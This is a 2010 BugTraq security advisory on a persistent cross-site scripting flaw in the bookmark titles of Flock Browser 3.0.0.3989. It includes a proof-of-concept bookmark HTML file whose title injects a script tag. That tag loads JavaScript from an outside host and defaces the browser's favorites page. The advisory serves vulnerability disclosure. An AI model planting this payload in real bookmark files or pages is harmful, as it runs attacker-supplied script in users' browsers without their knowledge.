BugTraq
Flock Browser 3.0.0.3989 Malformed Bookmark XSS and script insertion Aug 19 2010 03:01PM
Lostmon lords (lostmon gmail com)
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Flock Browser 3.0.0.3989 Malformed Bookmark XSS
Vendor URL: http://beta.flock.com/
Advisore: http://lostmon.blogspot.com/2010/08/flock-browser-3003989-malformed.html

Vendor notify:NO exploits availables:YES
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Flock is faster, simpler, and more friendly. Literally.
It's the only sleek, modern web browser with the built-in
ability to keep you up-to-date with your Facebook and Twitter
friends.This browser version (3.0.0.3989) is based in a old
chromium project

Flock has a flaw that allows Cross-site scripting style attacks
In bookmarks is has a Malformed bookmark title persistent xss
when inport from other browsers a malformed bookmark or when add
a new malformed bookmark or import a bookmark html file.

###############################
Example Of Bookmark html file
###############################

<!DOCTYPE NETSCAPE-Bookmark-file-1>
<!-- This is an automatically generated file.
It will be read and overwritten.
DO NOT EDIT! -->
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8">
<TITLE>Bookmarks</TITLE>
<H1>Menú Marcadores</H1>
<DL><p>
<DT><A HREF="http://www.mozilla.org" ADD_DATE="1282083605"
LAST_MODIFIED="1282083638">"><script
src='http://vuln.xssed.net/thirdparty/scripts/ckers.org.js'></A>
</DL><p>

#####################EOF##################

It is a persintent script insercion and when the user click in the
menu for view
favorites page or access directly to favorites url this make a
"defacement" of this page and them the user can´t access to favorites
:)
( Url of favorites =>
chrome-extension://flock_people/favorites.html#p=1&v=all&o=0&s=title )

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Atentamente:
Lostmon (lostmon (at) gmail (dot) com [email concealed])
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....

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